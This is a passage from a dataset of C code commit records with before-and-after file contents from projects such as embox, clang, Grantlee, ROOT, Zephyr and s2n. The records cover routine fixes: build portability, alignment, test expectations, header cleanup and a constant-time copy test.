(const void * key, int len, uint32_t seed,\n                          void * out);\n\n\/\/-----------------------------------------------------------------------------\n\n#endif \/\/ _MURMURHASH3_H_\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ MurmurHash3 was written by Austin Appleby, and is placed in the public\n\/\/ domain. The author hereby disclaims copyright to this source code.\n\n#ifndef _MURMURHASH3_H_\n#define _MURMURHASH3_H_\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Platform-specific functions and macros\n\n#include <stdint.h>\n\n\/\/-----------------------------------------------------------------------------\n\nvoid MurmurHash3_x86_32 (const void * key, int len, uint32_t seed,\n                         void * out);\n\n\/**\n * The following 2 functions have been altered to just return the\n * 64 most significant bits.\n *\/\nvoid MurmurHash3_x86_128 (const void * key, int len, uint32_t seed,\n                          void * out);\n\nvoid MurmurHash3_x64_128 (const void * key, int len, uint32_t seed,\n                          void * out);\n\n\/\/-----------------------------------------------------------------------------\n\n#endif \/\/ _MURMURHASH3_H_\n","subject":"Fix build break on WIN32","message":"Fix build break on WIN32\n\nNew versions of MSVC have stdint.h\n\nChange-Id: Ica591b67c9e09541648d3a47e6c8fc98afde2547\nReviewed-on: http:\/\/review.couchbase.org\/42716\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nReviewed-by: Chiyoung Seo <fcffc23db27b19ee4ebba46695ee6b50e09216a2@couchbase.com>\n","lang":"C","license":"bsd-3-clause","repos":"jimwwalker\/ep-engine,membase\/ep-engine,owendCB\/ep-engine,daverigby\/kv_engine,daverigby\/ep-engine,daverigby\/kv_engine,hisundar\/ep-engine,owendCB\/ep-engine,teligent-ru\/ep-engine,owendCB\/ep-engine,owendCB\/ep-engine,hisundar\/ep-engine,couchbase\/ep-engine,sriganes\/ep-engine,couchbase\/ep-engine,jimwwalker\/ep-engine,membase\/ep-engine,daverigby\/ep-engine,daverigby\/kv_engine,couchbase\/ep-engine,sriganes\/ep-engine,sriganes\/ep-engine,hisundar\/ep-engine,jimwwalker\/ep-engine,membase\/ep-engine,membase\/ep-engine,teligent-ru\/ep-engine,couchbase\/ep-engine,jimwwalker\/ep-engine,teligent-ru\/ep-engine,teligent-ru\/ep-engine,hisundar\/ep-engine,daverigby\/ep-engine,daverigby\/kv_engine,daverigby\/ep-engine,sriganes\/ep-engine"}
{"commit":"31193e4a68582e1b495f8fbf9bdf7904ec44b304","old_file":"src\/kernel\/task\/resource\/vfork\/res_vfork.c","new_file":"src\/kernel\/task\/resource\/vfork\/res_vfork.c","old_contents":"\/**\n * @file    res_vfork.c\n * @brief   Task resource for vfork\n * @date    May 16, 2014\n * @author  Anton Bondarev\n *\/\n\n#include <stddef.h>\n#include <setjmp.h>\n\n#include <kernel\/task.h>\n#include <kernel\/task\/resource.h>\n#include <kernel\/task\/resource\/task_vfork.h>\n\n\nTASK_RESOURCE_DEF(task_vfork_desc, struct task_vfork);\n\nstatic void task_vfork_init(const struct task *task, void *vfork_buff) {\n\ttask_vfork_end((struct task *)task);\n}\n\nstatic int task_vfork_inherit(const struct task *task,\n\t\tconst struct task *parent) {\n\treturn 0;\n}\n\nstatic size_t task_vfork_offset;\n\nstatic const struct task_resource_desc task_vfork_desc = {\n\t.init = task_vfork_init,\n\t.inherit = task_vfork_inherit,\n\t.resource_size = sizeof(struct task_vfork),\n\t.resource_offset = &task_vfork_offset\n};\n\nstruct task_vfork *task_resource_vfork(const struct task *task) {\n\tassert(task != NULL);\n\treturn (void *)task->resources + task_vfork_offset;\n}\n","new_contents":"\/**\n * @file    res_vfork.c\n * @brief   Task resource for vfork\n * @date    May 16, 2014\n * @author  Anton Bondarev\n *\/\n\n#include <stddef.h>\n#include <setjmp.h>\n\n#include <util\/binalign.h>\n\n#include <kernel\/task.h>\n#include <kernel\/task\/resource.h>\n#include <kernel\/task\/resource\/task_vfork.h>\n\n\nTASK_RESOURCE_DEF(task_vfork_desc, struct task_vfork);\n\nstatic void task_vfork_init(const struct task *task, void *vfork_buff) {\n\ttask_vfork_end((struct task *)task);\n}\n\nstatic int task_vfork_inherit(const struct task *task,\n\t\tconst struct task *parent) {\n\treturn 0;\n}\n\nstatic size_t task_vfork_offset;\n\nstatic const struct task_resource_desc task_vfork_desc = {\n\t.init = task_vfork_init,\n\t.inherit = task_vfork_inherit,\n\t.resource_size = sizeof(struct task_vfork),\n\t.resource_offset = &task_vfork_offset,\n};\n\nstruct task_vfork *task_resource_vfork(const struct task *task) {\n\tsize_t offset;\n\tassert(task != NULL);\n\n\toffset = (size_t)((void *)task->resources + task_vfork_offset);\n#ifdef PT_REGS_ALIGN\n\treturn (void *)binalign_bound(offset, PT_REGS_ALIGN);\n#else\n\treturn (void *)offset;\n#endif\n}\n","subject":"Add alignment for 'vfork' task resource","message":"kernel: Add alignment for 'vfork' task resource\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"7751530df026441258cabf46f474761c85330f8d","old_file":"test\/Sema\/attr-noescape.c","new_file":"test\/Sema\/attr-noescape.c","old_contents":"\/\/ RUN: %clang_cc1 %s -fblocks -verify -fsyntax-only\n\n#if !__has_attribute(noescape)\n#  error \"missing noescape attribute\"\n#endif\n\nint *global_var __attribute((noescape)); \/\/ expected-warning{{'noescape' attribute only applies to parameters}}\n\nvoid foo(__attribute__((noescape)) int *int_ptr,\n         __attribute__((noescape)) int (^block)(int),\n         __attribute((noescape)) int integer) { \/\/ expected-warning{{'noescape' attribute ignored on parameter of non-pointer type 'int'}}\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -fblocks -verify -fsyntax-only\n\n#if !__has_attribute(noescape)\n#  error \"missing noescape attribute\"\n#endif\n\nint *global_var __attribute((noescape)); \/\/ expected-warning{{'noescape' attribute only applies to parameters}}\n\nvoid foo(__attribute__((noescape)) int *int_ptr,\n         __attribute__((noescape)) int (^block)(int),\n         __attribute((noescape)) int integer) { \/\/ expected-warning{{'noescape' attribute only applies to pointer arguments}}\n}\n","subject":"Fix expected warning after r313945.","message":"Fix expected warning after r313945.\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"c8828e1233954b718cd29ff91cd600513aa87a14","old_file":"Artsy\/Resources\/Artsy-Bridging-Header.h","new_file":"Artsy\/Resources\/Artsy-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"UIViewController+FullScreenLoading.h\"\n#import \"ArtsyAPI+Sales.h\"\n\n#import \"ARScrollNavigationChief.h\"\n#import \"ARWhitespaceGobbler.h\"\n#import \"ARCountdownView.h\"\n#import \"UIView+HitTestExpansion.h\"\n#import \"ARSeparatorViews.h\"\n#import \"ArtsyAPI+CurrentUserFunctions.h\"\n\n\/\/ Perhaps in the future we could use https:\/\/github.com\/orta\/ar_dispatch\/ for now though eigen does more than this lib\n#import \"ARDispatchManager.h\"\n\n\n\/\/ Models.\n#import \"Sale.h\"\n\n#import \"Artwork.h\"\n#import \"AREmbeddedModelsViewController.h\"\n#import \"ARArtworkMasonryModule.h\"\n\n#import \"UIViewController+SimpleChildren.h\"\n#import \"UIViewController+ARUserActivity.h\"\n\n\n\/\/ For building out Auction Information VC\n\n#import \"ARNavigationButtonsViewController.h\"\n#import \"ARNavigationButton.h\"\n\n#import \"ARSerifNavigationViewController.h\"\n\n#import \"ARTextView.h\"\n\n#import \"ARThemedFactory.h\"\n#import \"ARFonts.h\"\n\n\/\/ Temporary for building out auctionVC\n#import \"ARArtistNetworkModel.h\"\n#import \"ARGeneArtworksNetworkModel.h\"\n\n\/\/ Libraries\n#import <Aerodramus\/Aerodramus.h>\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"UIViewController+FullScreenLoading.h\"\n#import \"ArtsyAPI+Sales.h\"\n\n#import \"ARScrollNavigationChief.h\"\n#import \"ARWhitespaceGobbler.h\"\n#import \"ARCountdownView.h\"\n#import \"UIView+HitTestExpansion.h\"\n#import \"ARSeparatorViews.h\"\n#import \"ArtsyAPI+CurrentUserFunctions.h\"\n\n\/\/ Perhaps in the future we could use https:\/\/github.com\/orta\/ar_dispatch\/ for now though eigen does more than this lib\n#import \"ARDispatchManager.h\"\n\n\n\/\/ Models.\n#import \"Sale.h\"\n\n#import \"Artwork.h\"\n#import \"AREmbeddedModelsViewController.h\"\n#import \"ARArtworkMasonryModule.h\"\n\n#import \"UIViewController+SimpleChildren.h\"\n#import \"UIViewController+ARUserActivity.h\"\n\n\n\/\/ For building out Auction Information VC\n\n#import \"ARNavigationButtonsViewController.h\"\n#import \"ARNavigationButton.h\"\n\n#import \"ARSerifNavigationViewController.h\"\n\n#import \"ARTextView.h\"\n#import \"ARFonts.h\"\n\n\/\/ Temporary for building out auctionVC\n#import \"ARArtistNetworkModel.h\"\n#import \"ARGeneArtworksNetworkModel.h\"\n","subject":"Remove unused imports from the swift bridging header","message":"Remove unused imports from the swift bridging header\n","lang":"C","license":"mit","repos":"artsy\/eigen,artsy\/eigen,artsy\/eigen,artsy\/eigen,artsy\/eigen,artsy\/eigen,artsy\/eigen"}
{"commit":"06fbd5ddb83944b92f2ed0eb67eb017a385c940f","old_file":"grantlee_core_library\/grantlee_export.h","new_file":"grantlee_core_library\/grantlee_export.h","old_contents":"\/*\n  This file is part of the Grantlee template system.\n\n  Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 3 only, as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License version 3 for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#ifndef GRANTLEE_EXPORT_H\n#define GRANTLEE_EXPORT_H\n\n#ifndef GRANTLEE_EXPORT\n#  if defined(GRANTLEE_CORE_LIB_MAKEDLL)\n#    define GRANTLEE_EXPORT __declspec(dllexport)\n#  else\n#    define GRANTLEE_EXPORT __declspec(dllimport)\n#  endif\n#endif\n\n#endif\n\n","new_contents":"\/*\n  This file is part of the Grantlee template system.\n\n  Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 3 only, as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License version 3 for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#ifndef GRANTLEE_EXPORT_H\n#define GRANTLEE_EXPORT_H\n\n#if defined(_WIN32) || defined(_WIN64)\n#  ifndef GRANTLEE_EXPORT\n#    if defined(GRANTLEE_CORE_LIB_MAKEDLL)\n#      define GRANTLEE_EXPORT __declspec(dllexport)\n#    else\n#      define GRANTLEE_EXPORT __declspec(dllimport)\n#    endif\n#  endif\n#else\n#  define GRANTLEE_EXPORT\n#endif\n\n#endif\n\n","subject":"Disable the export stuff on non-windows.","message":"Disable the export stuff on non-windows.\n","lang":"C","license":"lgpl-2.1","repos":"cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee"}
{"commit":"949ddf0d60e041c9a96a81ce68e9b25882b455b3","old_file":"net\/ldap\/inc\/LinkDef.h","new_file":"net\/ldap\/inc\/LinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TLDAPServer;\n#pragma link C++ class TLDAPResult;\n#pragma link C++ class TLDAPEntry;\n#pragma link C++ class TLDAPAttribute;\n\n#pragma link C++ global LDAP_PORT;\n#pragma link C++ global LDAP_SCOPE_DEFAULT;\n#pragma link C++ global LDAP_SCOPE_BASE;\n#pragma link C++ global LDAP_SCOPE_ONELEVEL;\n#pragma link C++ global LDAP_SCOPE_SUBTREE;\n#pragma link C++ global LDAP_MOD_ADD;\n#pragma link C++ global LDAP_MOD_DELETE;\n#pragma link C++ global LDAP_MOD_REPLACE;\n#pragma link C++ global LDAP_MOD_BVALUES;\n#pragma link C++ global LDAP_SERVER_DOWN;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TLDAPServer;\n#pragma link C++ class TLDAPResult;\n#pragma link C++ class TLDAPEntry;\n#pragma link C++ class TLDAPAttribute;\n\n\/\/ These constants are preprocessor statements\n\/\/ in ldap.h and not variables\n\/\/ #pragma link C++ global LDAP_PORT;\n\/\/ #pragma link C++ global LDAP_SCOPE_DEFAULT;\n\/\/ #pragma link C++ global LDAP_SCOPE_BASE;\n\/\/ #pragma link C++ global LDAP_SCOPE_ONELEVEL;\n\/\/ #pragma link C++ global LDAP_SCOPE_SUBTREE;\n\/\/ #pragma link C++ global LDAP_MOD_ADD;\n\/\/ #pragma link C++ global LDAP_MOD_DELETE;\n\/\/ #pragma link C++ global LDAP_MOD_REPLACE;\n\/\/ #pragma link C++ global LDAP_MOD_BVALUES;\n\/\/ #pragma link C++ global LDAP_SERVER_DOWN;\n\n#endif\n","subject":"Remove selection of preprocessor macros as globals in the linkdef","message":"Remove selection of preprocessor macros as globals in the linkdef\n","lang":"C","license":"lgpl-2.1","repos":"krafczyk\/root,karies\/root,sawenzel\/root,pspe\/root,CristinaCristescu\/root,omazapa\/root,vukasinmilosevic\/root,CristinaCristescu\/root,olifre\/root,satyarth934\/root,vukasinmilosevic\/root,bbockelm\/root,satyarth934\/root,krafczyk\/root,smarinac\/root,karies\/root,krafczyk\/root,CristinaCristescu\/root,agarciamontoro\/root,agarciamontoro\/root,Duraznos\/root,georgtroska\/root,zzxuanyuan\/root,Duraznos\/root,0x0all\/ROOT,mattkretz\/root,mattkretz\/root,nilqed\/root,gganis\/root,beniz\/root,abhinavmoudgil95\/root,pspe\/root,jrtomps\/root,veprbl\/root,evgeny-boger\/root,gbitzes\/root,vukasinmilosevic\/root,mkret2\/root,mhuwiler\/rootauto,vukasinmilosevic\/root,Y--\/root,simonpf\/root,buuck\/root,mhuwiler\/rootauto,krafczyk\/root,bbockelm\/root,omazapa\/root,omazapa\/root-old,gbitzes\/root,sbinet\/cxx-root,georgtroska\/root,CristinaCristescu\/root,perovic\/root,davidlt\/root,zzxuanyuan\/root,smarinac\/root,beniz\/root,lgiommi\/root,jrtomps\/root,esakellari\/root,omazapa\/root,zzxuanyuan\/root,sirinath\/root,bbockelm\/root,esakellari\/my_root_for_test,evgeny-boger\/root,bbockelm\/root,arch1tect0r\/root,abhinavmoudgil95\/root,karies\/root,satyarth934\/root,agarciamontoro\/root,gganis\/root,satyarth934\/root,evgeny-boger\/root,thomaskeck\/root,abhinavmoudgil95\/root,root-mirror\/root,perovic\/root,thomaskeck\/root,olifre\/root,mkret2\/root,jrtomps\/root,sawenzel\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,Y--\/root,jrtomps\/root,georgtroska\/root,krafczyk\/root,gganis\/root,davidlt\/root,abhinavmoudgil95\/root,krafczyk\/root,gbitzes\/root,gbitzes\/root,sirinath\/root,veprbl\/root,root-mirror\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,agarciamontoro\/root,gganis\/root,zzxuanyuan\/root,arch1tect0r\/root,jrtomps\/root,nilqed\/root,CristinaCristescu\/root,Y--\/root,BerserkerTroll\/root,lgiommi\/root,perovic\/root,georgtroska\/root,satyarth934\/root,mhuwiler\/rootauto,vukasinmilosevic\/root,evgeny-boger\/root,esakellari\/my_root_for_test,mattkretz\/root,beniz\/root,root-mirror\/root,sawenzel\/root,pspe\/root,nilqed\/root,BerserkerTroll\/root,jrtomps\/root,gganis\/root,mattkretz\/root,olifre\/root,perovic\/root,omazapa\/root-old,bbockelm\/root,nilqed\/root,arch1tect0r\/root,agarciamontoro\/root,satyarth934\/root,evgeny-boger\/root,agarciamontoro\/root,davidlt\/root,root-mirror\/root,olifre\/root,arch1tect0r\/root,mhuwiler\/rootauto,omazapa\/root-old,evgeny-boger\/root,perovic\/root,georgtroska\/root,simonpf\/root,veprbl\/root,georgtroska\/root,simonpf\/root,satyarth934\/root,0x0all\/ROOT,veprbl\/root,karies\/root,zzxuanyuan\/root,BerserkerTroll\/root,arch1tect0r\/root,CristinaCristescu\/root,sbinet\/cxx-root,BerserkerTroll\/root,abhinavmoudgil95\/root,buuck\/root,buuck\/root,mkret2\/root,evgeny-boger\/root,satyarth934\/root,root-mirror\/root,simonpf\/root,pspe\/root,smarinac\/root,smarinac\/root,bbockelm\/root,smarinac\/root,pspe\/root,smarinac\/root,sirinath\/root,lgiommi\/root,veprbl\/root,mattkretz\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,olifre\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,nilqed\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,mkret2\/root,Y--\/root,olifre\/root,omazapa\/root-old,BerserkerTroll\/root,beniz\/root,pspe\/root,esakellari\/my_root_for_test,omazapa\/root,sirinath\/root,vukasinmilosevic\/root,buuck\/root,root-mirror\/root,davidlt\/root,olifre\/root,lgiommi\/root,Duraznos\/root,evgeny-boger\/root,Y--\/root,sawenzel\/root,thomaskeck\/root,veprbl\/root,buuck\/root,dfunke\/root,Y--\/root,omazapa\/root,bbockelm\/root,gbitzes\/root,dfunke\/root,sirinath\/root,beniz\/root,krafczyk\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,arch1tect0r\/root,sawenzel\/root,sirinath\/root,perovic\/root,satyarth934\/root,esakellari\/root,esakellari\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,beniz\/root,beniz\/root,zzxuanyuan\/root,zzxuanyuan\/root,olifre\/root,mkret2\/root,sawenzel\/root,perovic\/root,pspe\/root,vukasinmilosevic\/root,karies\/root,0x0all\/ROOT,jrtomps\/root,buuck\/root,abhinavmoudgil95\/root,veprbl\/root,CristinaCristescu\/root,pspe\/root,omazapa\/root-old,veprbl\/root,0x0all\/ROOT,vukasinmilosevic\/root,agarciamontoro\/root,beniz\/root,karies\/root,davidlt\/root,georgtroska\/root,simonpf\/root,davidlt\/root,jrtomps\/root,veprbl\/root,sirinath\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,nilqed\/root,simonpf\/root,karies\/root,CristinaCristescu\/root,0x0all\/ROOT,thomaskeck\/root,smarinac\/root,root-mirror\/root,omazapa\/root-old,buuck\/root,thomaskeck\/root,sawenzel\/root,Duraznos\/root,lgiommi\/root,omazapa\/root-old,omazapa\/root-old,bbockelm\/root,sirinath\/root,sawenzel\/root,simonpf\/root,omazapa\/root,gbitzes\/root,dfunke\/root,sbinet\/cxx-root,Duraznos\/root,zzxuanyuan\/root,dfunke\/root,perovic\/root,simonpf\/root,davidlt\/root,omazapa\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,arch1tect0r\/root,gganis\/root,karies\/root,smarinac\/root,omazapa\/root-old,arch1tect0r\/root,BerserkerTroll\/root,Y--\/root,BerserkerTroll\/root,sbinet\/cxx-root,gganis\/root,omazapa\/root-old,lgiommi\/root,lgiommi\/root,Y--\/root,gbitzes\/root,bbockelm\/root,mkret2\/root,davidlt\/root,karies\/root,omazapa\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,sbinet\/cxx-root,lgiommi\/root,CristinaCristescu\/root,georgtroska\/root,vukasinmilosevic\/root,bbockelm\/root,gbitzes\/root,georgtroska\/root,Duraznos\/root,lgiommi\/root,buuck\/root,dfunke\/root,dfunke\/root,mattkretz\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,arch1tect0r\/root,thomaskeck\/root,thomaskeck\/root,Duraznos\/root,evgeny-boger\/root,veprbl\/root,abhinavmoudgil95\/root,sirinath\/root,mhuwiler\/rootauto,satyarth934\/root,gbitzes\/root,smarinac\/root,Y--\/root,nilqed\/root,mkret2\/root,omazapa\/root,zzxuanyuan\/root,beniz\/root,mkret2\/root,buuck\/root,zzxuanyuan\/root,gganis\/root,esakellari\/root,evgeny-boger\/root,omazapa\/root,thomaskeck\/root,dfunke\/root,mattkretz\/root,BerserkerTroll\/root,olifre\/root,esakellari\/root,karies\/root,esakellari\/root,nilqed\/root,abhinavmoudgil95\/root,mhuwiler\/rootauto,pspe\/root,dfunke\/root,esakellari\/root,esakellari\/root,CristinaCristescu\/root,olifre\/root,nilqed\/root,mkret2\/root,sbinet\/cxx-root,krafczyk\/root,mattkretz\/root,sawenzel\/root,smarinac\/root,davidlt\/root,davidlt\/root,root-mirror\/root,bbockelm\/root,nilqed\/root,gbitzes\/root,beniz\/root,esakellari\/my_root_for_test,esakellari\/root,buuck\/root,sawenzel\/root,sbinet\/cxx-root,thomaskeck\/root,esakellari\/my_root_for_test,lgiommi\/root,lgiommi\/root,sirinath\/root,simonpf\/root,agarciamontoro\/root,agarciamontoro\/root,sbinet\/cxx-root,esakellari\/my_root_for_test,jrtomps\/root,0x0all\/ROOT,evgeny-boger\/root,Duraznos\/root,georgtroska\/root,thomaskeck\/root,abhinavmoudgil95\/root,gganis\/root,Duraznos\/root,Y--\/root,perovic\/root,mattkretz\/root,pspe\/root,Duraznos\/root,mattkretz\/root,jrtomps\/root,mhuwiler\/rootauto,krafczyk\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,BerserkerTroll\/root,krafczyk\/root,esakellari\/my_root_for_test,mattkretz\/root,sbinet\/cxx-root,vukasinmilosevic\/root,esakellari\/my_root_for_test,beniz\/root,esakellari\/root,omazapa\/root,agarciamontoro\/root,davidlt\/root,pspe\/root,perovic\/root,arch1tect0r\/root,root-mirror\/root,karies\/root,georgtroska\/root,gganis\/root,olifre\/root,root-mirror\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,nilqed\/root,krafczyk\/root,mkret2\/root,buuck\/root,0x0all\/ROOT,esakellari\/my_root_for_test,dfunke\/root,simonpf\/root,sbinet\/cxx-root,mhuwiler\/rootauto,dfunke\/root,perovic\/root,dfunke\/root,root-mirror\/root,vukasinmilosevic\/root,satyarth934\/root,gbitzes\/root,zzxuanyuan\/root,mkret2\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,sirinath\/root,esakellari\/root,sawenzel\/root,0x0all\/ROOT"}
{"commit":"578cb132ff6498c08fe8ad7c354b59507dd48491","old_file":"subsys\/mgmt\/mcumgr\/lib\/cmd\/img_mgmt\/src\/img_mgmt_util.c","new_file":"subsys\/mgmt\/mcumgr\/lib\/cmd\/img_mgmt\/src\/img_mgmt_util.c","old_contents":"\/*\n * Copyright (c) 2018-2021 mcumgr authors\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"img_mgmt\/image.h\"\n#include \"img_mgmt\/img_mgmt.h\"\n\nint\nimg_mgmt_ver_str(const struct image_version *ver, char *dst)\n{\n\tint rc = 0;\n\tint rc1 = 0;\n\n\trc = snprintf(dst, IMG_MGMT_VER_MAX_STR_LEN, \"%hhu.%hhu.%hu\",\n\t\tver->iv_major, ver->iv_minor, ver->iv_revision);\n\n\tif (rc >= 0 && ver->iv_build_num != 0) {\n\t\trc1 = snprintf(&dst[rc], IMG_MGMT_VER_MAX_STR_LEN - rc, \".%u\",\n\t\t\tver->iv_build_num);\n\t}\n\n\tif (rc1 >= 0 && rc >= 0) {\n\t\trc = rc + rc1;\n\t} else {\n\t\t\/* If any failed then all failed *\/\n\t\trc = -1;\n\t}\n\n\treturn rc;\n}\n","new_contents":"\/*\n * Copyright (c) 2018-2021 mcumgr authors\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"img_mgmt\/image.h\"\n#include \"img_mgmt\/img_mgmt.h\"\n\nint\nimg_mgmt_ver_str(const struct image_version *ver, char *dst)\n{\n\tint rc = 0;\n\tint rc1 = 0;\n\n\trc = snprintf(dst, IMG_MGMT_VER_MAX_STR_LEN, \"%hu.%hu.%hu\",\n\t\t(uint16_t)ver->iv_major, (uint16_t)ver->iv_minor,\n\t\tver->iv_revision);\n\n\tif (rc >= 0 && ver->iv_build_num != 0) {\n\t\trc1 = snprintf(&dst[rc], IMG_MGMT_VER_MAX_STR_LEN - rc, \".%u\",\n\t\t\tver->iv_build_num);\n\t}\n\n\tif (rc1 >= 0 && rc >= 0) {\n\t\trc = rc + rc1;\n\t} else {\n\t\t\/* If any failed then all failed *\/\n\t\trc = -1;\n\t}\n\n\treturn rc;\n}\n","subject":"Make version string work with CONFIG_NEWLIB_LIBC","message":"mgmt\/mcumgr\/lib: Make version string work with CONFIG_NEWLIB_LIBC\n\nBy default the newlib does not compile with %hhu processing,\nto avoid turning on additional options for newlib compilation\nthis commit changes formatting string to use %hu instead.\nThe commit fixes problem with malformed version string being\nreturned, by smp_svr, when CONFIG_NEWLIB_LIBC=y is set together\nwith CONFIG_NEWLIB_LIBC_NANO=y.\n\nFixes #45261\n\nSigned-off-by: Dominik Ermel <1a1d45a9cc0c98a37f8d0a0d2dbe3cacc0b2344f@nordicsemi.no>\n","lang":"C","license":"apache-2.0","repos":"galak\/zephyr,finikorg\/zephyr,finikorg\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,finikorg\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr"}
{"commit":"0fe81b0ebf715830907d91749ac5364804e64a26","old_file":"tests\/unit\/s2n_cttime_functions_test.c","new_file":"tests\/unit\/s2n_cttime_functions_test.c","old_contents":"","new_contents":"\/*\n * Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n#include \"s2n_test.h\"\n\n#include <stdint.h>\n\n#include <utils\/s2n_safety.h>\n\n#include \"testlib\/s2n_testlib.h\"\n\nuint8_t dst0[9];\nconst uint8_t src[9] = {1, 2, 3, 4, 5, 6, 7, 8, 9};\n\nint main(int argc, char **argv)\n{\n    uint8_t dst1[9];\n\n    BEGIN_TEST();\n\n    EXPECT_SUCCESS(s2n_constant_time_copy_or_dont(dst1, src, 9, 0 \/* do copy *\/));\n    EXPECT_EQUAL(s2n_constant_time_equals(dst1, src, 9), 1);\n\n    EXPECT_SUCCESS(s2n_constant_time_copy_or_dont(dst0, src, 9, 1 \/* don't *\/));\n    EXPECT_EQUAL(s2n_constant_time_equals(dst0, src, 9), 0);\n    \n    END_TEST();\n}\n","subject":"Add test for constant-time comparison and copy","message":"Add test for constant-time comparison and copy\n","lang":"C","license":"apache-2.0","repos":"raycoll\/s2n,alexeblee\/s2n,bpdavidson\/s2n,bpdavidson\/s2n,wcs1only\/s2n,alexeblee\/s2n,awslabs\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,wcs1only\/s2n,jldodds\/s2n,raycoll\/s2n,PKRoma\/s2n,awslabs\/s2n,alexeblee\/s2n,PKRoma\/s2n,jldodds\/s2n,PKRoma\/s2n,alexeblee\/s2n,awslabs\/s2n,alexeblee\/s2n,bpdavidson\/s2n,raycoll\/s2n,bpdavidson\/s2n,colmmacc\/s2n,wcs1only\/s2n,colmmacc\/s2n,awslabs\/s2n,gibson-compsci\/s2n,colmmacc\/s2n,PKRoma\/s2n,alexeblee\/s2n,gibson-compsci\/s2n,jldodds\/s2n,PKRoma\/s2n,awslabs\/s2n,raycoll\/s2n,gibson-compsci\/s2n,PKRoma\/s2n,wcs1only\/s2n,bpdavidson\/s2n,jldodds\/s2n,PKRoma\/s2n,bpdavidson\/s2n,colmmacc\/s2n,colmmacc\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,wcs1only\/s2n,gibson-compsci\/s2n,awslabs\/s2n,colmmacc\/s2n,PKRoma\/s2n,raycoll\/s2n,raycoll\/s2n,wcs1only\/s2n,jldodds\/s2n"}
